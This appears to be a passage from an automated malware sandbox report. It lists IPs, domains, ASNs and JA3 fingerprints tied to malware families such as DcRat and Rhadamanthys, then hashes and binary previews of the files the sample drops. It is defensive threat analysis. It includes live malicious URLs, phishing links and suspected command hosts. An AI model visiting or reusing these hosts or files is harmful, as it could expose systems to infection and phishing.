163.172.136.118	path.ps1	Get hash	malicious	DcRat	Browse
163.172.136.118	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse
95.215.44.78	path.ps1	Get hash	malicious	DcRat	Browse
95.215.44.78	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse
193.124.186.205	path.ps1	Get hash	malicious	DcRat	Browse
193.124.186.205	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	https://www.baidu.com/link?url=7AgUGxkCgEsQdPm9T1PXcA0XghaPOWMLvdhGyyVngg844uS4x-KZy4IMqs1ov0OgdFqhAB-_X2oOV9exK4hWC_&wd=ZWxraW58WTI5eVpUUmpaUzVqYjIwPXxNYkdVSlpkdVROdWNyeW1UWU1laElVVW1QbGRGb0F5RmNLcWJadW1CT01YYw==	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	77IyY7nCKB.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	EDc1DW9OsQ.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	Quote.exe	Get hash	malicious	Remcos	Browse	13.107.246.45
	EPAYMENT_Receipt.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://1drv.ms/w/c/3e7c84f1a590a3e6/IQStDJr3bMEwQZDK5oU6uNI1AXa25ZxVanY0bWjgRrRk-d4	Get hash	malicious	Unknown	Browse	13.107.246.45
	paymentremittanceinformationCQDM.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	mEudzoO1bG.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	15PylGQjzK.exe	Get hash	malicious	LummaC, Vidar	Browse	13.107.246.45
	Ji7kZhlqxz.exe	Get hash	malicious	LummaC, Vidar	Browse	13.107.246.45
rocketdocs.lol	path.ps1	Get hash	malicious	DcRat	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OnlineSASFR	path.ps1	Get hash	malicious	DcRat	Browse	163.172.136.118
	https://yourferguson.org/court-watch-october-30-2023/?fbclid=IwZXh0bgNhZW0CMTEAAR3dOwpQMI1HpEJMcLfneo2Ce-TuuXHtVI8-78YDrHW9adORVlMEABT0ELU_aem_CL7dDvEuGMkB8YFGhVQWUg	Get hash	malicious	Unknown	Browse	212.129.43.222
	SecuriteInfo.com.PUA.Tool.InstSrv.3.16098.13705.exe	Get hash	malicious	Unknown	Browse	62.210.201.207
	SecuriteInfo.com.PUA.Tool.InstSrv.3.16098.13705.exe	Get hash	malicious	Unknown	Browse	62.210.201.207
	na.elf	Get hash	malicious	Unknown	Browse	51.158.219.42
	aA45th2ixY.exe	Get hash	malicious	Xmrig	Browse	51.15.58.224
	http://ak437453-76542337354.com/	Get hash	malicious	Unknown	Browse	51.158.227.247
	https://wtm.entree-plat-dessert.com/r/eNpNj1uTojAQhX8N+6aYG4SHqS0VWHXB9Vbj4stUCAGDXJyQ6OKv38zbdPXDV+d096l+ugGEHqAuED7GiAhQAMooRDiABQc5LH3MCBXCBRQRF/vEzSHiXglnyKdF4RHEwAx6EAQ5w7aC0vVcQNze/WnerlrfBwfNHRjbZlybacuUFLxhUolpqazKjRxkJyxpprSYMDPJVc/7Rk4GZriYcKPUOOFWcuASYD/wCJyy4e6gmOmPVhTStA4KRaE/bIIDPdZab2E9bonJqrPus+F925pGy+8DQ28UF1/LnVZC3BumCzEMQukfBX/zy8terrvuDI76doov9WG1mh1q7Z19Ss3Yb45ZwoN2mR6jT/gv/zsm6EqiYVNXy/EQZy/jwEXrD3tCSLV+be2H/q7u9CuDFsPPMLvmyfr3fPt4l+v9Zb5vg67LCKw31zGsM/JK8GkbJBEGYeWd0hSI4hzT3QPXvyL5x95+7goVLhqqWHqoUVJ9xW00jWrQL3OSnld9f8tv7HEL/wMooptN	Get hash	malicious	Unknown	Browse	212.129.3.112
	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse	163.172.136.118
	WannaCry.bin.zip	Get hash	malicious	Conti, Wannacry	Browse	163.172.131.88
CLOUD-SOUTHUS	path.ps1	Get hash	malicious	DcRat	Browse	104.233.104.126
	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse	104.233.104.126
	final_payload.bin.exe	Get hash	malicious	XWorm	Browse	216.173.64.63
	https://askallegiance.com	Get hash	malicious	Unknown	Browse	104.167.193.130
	https://usps-track-packages.com	Get hash	malicious	Unknown	Browse	216.173.64.194
	Lisect_AVT_24003_G1B_122.exe	Get hash	malicious	Unknown	Browse	104.143.250.45
	SlHgSOYcMY.exe	Get hash	malicious	Unknown	Browse	104.167.217.91
	iMJZGYeU7K.elf	Get hash	malicious	Mirai	Browse	38.130.219.186
	INVOICE087667899.exe	Get hash	malicious	Unknown	Browse	104.233.20.196
	EXTERNAL Desert Diamond Casinos Entertainment- New Purchase Order 8433333.msg	Get hash	malicious	HTMLPhisher	Browse	104.167.241.201
HETZNER-ASDE	path.ps1	Get hash	malicious	DcRat	Browse	136.243.141.187
	ssk7Ah3h5D.elf	Get hash	malicious	Unknown	Browse	116.203.104.203
	https://hnt.zkg.mybluehost.me/CA/LET	Get hash	malicious	HTMLPhisher	Browse	135.181.58.223
	SecuriteInfo.com.PUA.Tool.InstSrv.3.16098.13705.exe	Get hash	malicious	Unknown	Browse	136.243.38.220
	SecuriteInfo.com.PUA.Tool.InstSrv.3.16098.13705.exe	Get hash	malicious	Unknown	Browse	136.243.38.220
	na.elf	Get hash	malicious	Unknown	Browse	138.201.28.181
	na.elf	Get hash	malicious	Unknown	Browse	116.203.104.203
	na.elf	Get hash	malicious	Unknown	Browse	116.203.104.203
	reswnop.exe	Get hash	malicious	Emotet	Browse	138.201.140.110
	7AeSqNv1rC.exe	Get hash	malicious	MicroClip, Vidar	Browse	49.12.106.214
GCN-UA	path.ps1	Get hash	malicious	DcRat	Browse	195.93.190.6
	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse	195.93.190.6
	file.exe	Get hash	malicious	SystemBC	Browse	91.192.136.48

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	path.ps1	Get hash	malicious	DcRat	Browse	52.149.20.212 13.107.246.45
	SecuriteInfo.com.Trojan.DownLoader47.43477.29852.19410.exe	Get hash	malicious	LummaC, Vidar	Browse	52.149.20.212 13.107.246.45
	Demande de proposition de AVANTAGE INDUSTRIEL INC.pdf	Get hash	malicious	HtmlDropper	Browse	52.149.20.212 13.107.246.45
	https://shorturl.at/yPmuH?sEBM=mt3zoN1Of	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.45
	https://www.baidu.com/link?url=7AgUGxkCgEsQdPm9T1PXcA0XghaPOWMLvdhGyyVngg844uS4x-KZy4IMqs1ov0OgdFqhAB-_X2oOV9exK4hWC_&wd=ZWxraW58WTI5eVpUUmpaUzVqYjIwPXxNYkdVSlpkdVROdWNyeW1UWU1laElVVW1QbGRGb0F5RmNLcWJadW1CT01YYw==	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 13.107.246.45
	77IyY7nCKB.xls	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.45
	EDc1DW9OsQ.xlsx	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.45
	Atlanta Office Interiors #024-010.pdf	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.45
	https://dc.dolshgdh.site/?Ufrj=g5	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.45
	EPAYMENT_Receipt.html	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.45
3b5074b1b5d032e5620f69f9f700ff0e	path.ps1	Get hash	malicious	DcRat	Browse	188.114.96.3
	playmod24.vbs	Get hash	malicious	Unknown	Browse	188.114.96.3
	shipment details.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	XDA_CDS v6.8.54_SE.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	Y1ZqkGzvKm.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Y1ZqkGzvKm.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.96.3
	E_receipt.vbs	Get hash	malicious	Unknown	Browse	188.114.96.3
	EY10AIvC8B.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	EY10AIvC8B.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.96.3
	92ZZIUHzPQ.exe	Get hash	malicious	AgentTesla	Browse	188.114.96.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Roaming\miEk.ini	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse
C:\Users\user\AppData\Roaming\u0ow.ini	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse

Created / dropped Files

C:\Users\Public\ajbs50ul.bat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2322503
Entropy (8bit):	7.351293589769997
Encrypted:	false
SSDEEP:	49152:fIGHiuBfswUwl+GdRI2UET1SUvj0Ug6j9iuXWvpAqahtX8+34+vSVHstzn+qpEjs:fNCuBfZ4GdfUaj0UgM5WviXtT34+vBJV
MD5:	8837DF25AABC4FAD85E851ACA192F714
SHA1:	C4FBD38356B7EE16EAF21DEB83170BBCB0FE566A
SHA-256:	741CEE2C6F6F8EE8A54923FA2A0C88085CEDE35BDC2E95B1B9F1800E894E6C19
SHA-512:	93F712AE3CA726B090DF270FEB1421EA98778260B7FE309E06AC3887B396D3DC8AB41655EC7D15A57CAC8B467CCA0395A52EF965765A26C9597F6512FDAD88E2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...w-.f....e.....&....*.......................@............................. ......J.#...`... .................................................H............`...t...........................................J..(...................................................text...............................`..`.data...............................@....rdata..............................@..@.pdata...t...`...v...D..............@..@.xdata..p...........................@..@.bss.....................................idata..H............r..............@....CRT....h...........................@....tls................................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\regsvr32.EXE.log

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.383282394444275
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp151KDLI4MN5I/k1Bv:ML9E4KQ71qE4GIsD
MD5:	00930768B2E044245AC5529BC4F2FFDF
SHA1:	DF262F47F31653AAE570477B12B90B2E385A8D50
SHA-256:	E0A23AC0FD66AC2AD5922D20187B374A1B7B148FF47CABB69441EB2F699008C8
SHA-512:	76F371B3D2FCE707DA45DCA1755DE56BA7AC8827E5F18F900E52AEF35AEF3D42B39F656CC08A10372872BA601AFD9E6F3D930A98F92A3F9A885E9B6CBAF38ADA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0d1e1ns5.xlc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1uojmcjy.mki.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4lup0svj.sl1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b3hct0mt.ldv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kfnxvhbx.p4k.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n1slj341.abj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pdfycxle.dwb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qmm3eqyj.jca.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rlvkgjf4.1hw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zvw4j1q2.1op.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\second_data_temp.zip

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	94081
Entropy (8bit):	7.867349334322687
Encrypted:	false
SSDEEP:	1536:6JlEt2c1bx3Wv8FFdY38bjlMyrr1D2iri2KQjHhIvwwwXNjsbdCnhBqCMEgAVvDG:QlsvdYMP1r8QjB99ICniZsG
MD5:	33725DFCC8FFCBC026839DA2BDB55DAE
SHA1:	35F249AD0850B4EDBC62AF40DE427EF2BDD99C78
SHA-256:	0DE6B62B625EA86A56117A1EDCEFF37DFA1D2492BB62993BAAF9C59FBE1FF789
SHA-512:	9D663C570DF995BB8402AE5A8236A47EE2581439CFF6F53FB0FCC84A1960D448963DA94F9FA91849DD10020DC08FF8A3096420DE57BC6653722480180807D4B6
Malicious:	false
Preview:	PK..........AY...@.n..........second_data.bin.\y\.....,.n.$..9$.Ri...$."G.\.,..P.TB.&.F.)R....I.fE..}..s...{....g...Z.Z{.7..,..E..o.{iF".YO.dTE.D.'..04"%.....0N.x`.C......1..&.Q.r...}..zW<=D.m ..'.[.L.@...r..A...*Kn...X.J+7....,..../....4.........n.`04V.Y.......q...............PJUT.'>..]....~.og........%.....F..!.....8..\|.5....".....-.............%.1....?2 ...A.[k..........5E-.U{io...`\|..H..;..?<....!..Z.?.1rs5".X...d.T.86\|K#..G<K.i.d.Y4....S>-a...2W..8...{.L.C....... .s..H......_.}n(..}oz?.c...Z.l...9Rb...Hs.........Rt.W.._y+f9O......m./.......Cg....kq.&[..N.e./.[.~...qYx........O.I.\Q...U..k.f.].c...N..r.......O.ARv......^j..Z...._v...z9.b..X.AVv.....k\|....7g....>g....7&B\.r.........E.UB.6C~Y.[z.:.B0.[S.....g--.p_..3......=.........[.....{.IFU.7>=.'#......S...v..>...,..b.i..0#w.F...E.....d...^........^...n.....\.....mk..S.!_..0.uc...Z........s.v.....I..r....2.b...PW....t...v...=Z`.f..x...'._.{..wu....L._.t....w.....x...~....$K(R....J..

C:\Users\user\AppData\Roaming\Tox\tox_save.tox

Download File

Process:	C:\Users\user\Desktop\utox_x86_x64.exe
File Type:	data
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	5.346407093831038
Encrypted:	false
SSDEEP:	24:LDzFDsIO8D+sIORsIO8El4DqLMmT7pbMsIEAf31Wf/HX:vXO8D6OHO8nwX9EOf/3
MD5:	4EA73D44029EC54B0F3A02C6DCD164D5
SHA1:	E80D8C26BB888A05406FDBEA0CB19E4A61E798D5
SHA-256:	5DE09D03DBF0C225C472874F53CC67A195BDD151445FAA1C8BAF27E4052E3F8B
SHA-512:	B8937E0D4D6F413CC25E82CC92FA2E5345D275B477E2F820BACC0A67C2BE52256DC9CC1869BC13FFA3C0A6DE8FDCCA25E31405DA26FB41D0EAD922534D230D52
Malicious:	false
Preview:	........D...........2.q...RI.td....n.O...`:.7..4...<.R...rU...}.....t...].[..[.r..........Y..................5z...I.-..d...<.=.c............i....}.>.............x...uJ....-f.y...$'....4v.-K.]..n.]..Qv............V:........D8...7.&_....Jn3..NtC.z.2...I..........x...uJ....-f.y...$'....4v.-K.]..n.]..Qv............V:........D8...7.&_....Jn3..NtC.z.2...I.........5z...I.-..d...<.=.c............i....}.>............5z...I.-..d...<.=.c............i....}.>.............x...uJ....-f.y...$'....4v.-K.]..n.]..Qv............V:........D8...7.&_....Jn3..NtC.z.2...I................uTox User .......Toxing on uTox, from the future!.................t..................o..............,..0..7m.:.h...a6@6:N.zN............V:........D8...7.&_....Jn3..NtC.z.2...I..........x...uJ....-f.y...$'....4v.-K.]..n.]..Qv.........5z...I.-..d...<.=.c............i....}.>.................T.l..._*GQ..Y.......^.C..r..;.j.l,...n...F..wn..e_..G}....$.....<..;d.....m..<...@...#H..O.f.U.67..)=..Q.C+.h.z.....n...P

C:\Users\user\AppData\Roaming\Tox\utox_save.ini

Download File

Process:	C:\Users\user\Desktop\utox_x86_x64.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	27
Entropy (8bit):	3.9400726873486547
Encrypted:	false
SSDEEP:	3:VcM6RQRov:VcM6Ky
MD5:	5B4E46B79998EE26C8F854677A591421
SHA1:	7A6F479B28D7AB6E28582AF0AEE03FF2E923D57F
SHA-256:	F3780570DA34038FFD91A135C23D0EF83EE1F4368E7E5088C4D8B44B87BD8E8A
SHA-512:	211EAF9EB13C461961AD0538B26452160814D08789C3D6CDD879EF74D0DB374C3D9F55B85D0EFB89C841778BDD269E1E3496F91DC0CF77205C7C030A4E8C754C
Malicious:	false
Preview:	[general]..save_version=4..

C:\Users\user\AppData\Roaming\Tox\utox_save.in~

Download File

Process:	C:\Users\user\Desktop\utox_x86_x64.exe
File Type:	Generic INItialization configuration [interface]
Category:	dropped
Size (bytes):	708
Entropy (8bit):	4.648717284766249
Encrypted:	false
SSDEEP:	12:VGK+WHTshKsaRVmfq/tOE8JfnIYuv8jy+SthXiJX7rAQtJhiq+auyYVS0v9:VGK+WHMKsaRVmf0EbnIYu02WtHDfAVS8
MD5:	4936FFCD5B5217817FACFA40DD6BF3C3
SHA1:	6F340BF744570CEF6537BD0A7E93DCC32F90D80E
SHA-256:	1BFB54EA4231FA9922F3F33581D05924131788F8556938C77842B6C21BC7FECD
SHA-512:	1A04A33846641ED3C8F4D0FE1FC0AD26FEB9A55D229D202E69CCE97FA09FC14AB00D810C3A80F3A50D7FB255698005A5883F115727207BD4BAF81C80A2DFB3FD
Malicious:	false
Preview:	[general]..save_version=4..utox_last_version=4609..[interface]..language=0..window_x=0..window_y=0..window_width=750..window_height=500..theme=0..scale=10..logging_enabled=true..close_to_tray=false..start_in_tray=false..auto_startup=false..use_mini_flist=false..filter=false..magic_flist_enabled=false..use_long_time_msg=true..[av]..push_to_talk=false..audio_filtering_enabled=true..audio_device_in=0..audio_device_out=0..video_fps=25..[notifications]..audible_notifications_enabled=true..status_notifications=true..no_typing_notifications=true..group_notifications=2..[advanced]..enableipv6=true..disableudp=false..proxyenable=false..proxy_port=0..proxy_ip=..force_proxy=false..block_friend_requests=false..

C:\Users\user\AppData\Roaming\miEk.ini

Download File

Process:	C:\Users\Public\ajbs50ul.bat
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1069056
Entropy (8bit):	7.687858240798343
Encrypted:	false
SSDEEP:	24576:J80IV0b83n9cPUhWDn3nyjAhosTiwTJ80qIa07x72:a0DbeGU0iTsTi30q+7x72
MD5:	60A55B1D8E739216CADD3E31D7412F03
SHA1:	8B5C284796A1EFA1DF8A3EDDD27070D374E1CC54
SHA-256:	BE86E0357748F3B4FA166342F284800A83C955C2C8B197475C2450613A6EED67
SHA-512:	C06CB2B86F7A9DE5243F4395FB40FA88A7669F3E427D427AFB95801DE447BEB8F616847890AE12CFC6060EC7215CEB370CD61B5CF0395EAB81312121060DC7AB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Joe Sandbox View:	Filename: 81zBpBAWwc.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...O-.f..........."...*.....L......0....................................................`... ......................................p..........................................\|...............................(...................X................................text...X...........................`..`.data...............................@....rdata.. ...........................@..@.pdata..............................@..@.xdata...2... ...4..................@..@.bss....@....`...........................edata.......p.......2..............@..@.idata...............4..............@....CRT....`............F..............@....tls.................H..............@....reloc..\|............J..............@..B........................................................................................................................................................................

C:\Users\user\AppData\Roaming\u0ow.ini

Download File

Process:	C:\Windows\System32\rekeywiz.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	486400
Entropy (8bit):	6.904893954535027
Encrypted:	false
SSDEEP:	6144:gxOiJ9Cfi+tWW6AKEFR3hdf0GDm5iQ0d6ghn0N97tAD/IO9qckqHDUIKMB3emqqz:gxOiqfRD6kOb6node/B9U1MBOmqqra
MD5:	5BF9C5C649E1AF61B41EBCDFCA9597BC
SHA1:	8F83FFE801801567DA2933A3033F3D2AE0059AD3
SHA-256:	55A451457DBC1F6D28A4C1AB2D477FBBFAE002999A0789C9F3D1BD6610511D98
SHA-512:	32E7CF427EBA9E903D77B59F7299864149C6DD4B19FE59CE3C1E3144DB171E3C003CA06EA0E8B3B5CAF3E4DA4559F748760B6CB0256D063140797C32AADCD029
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 46%
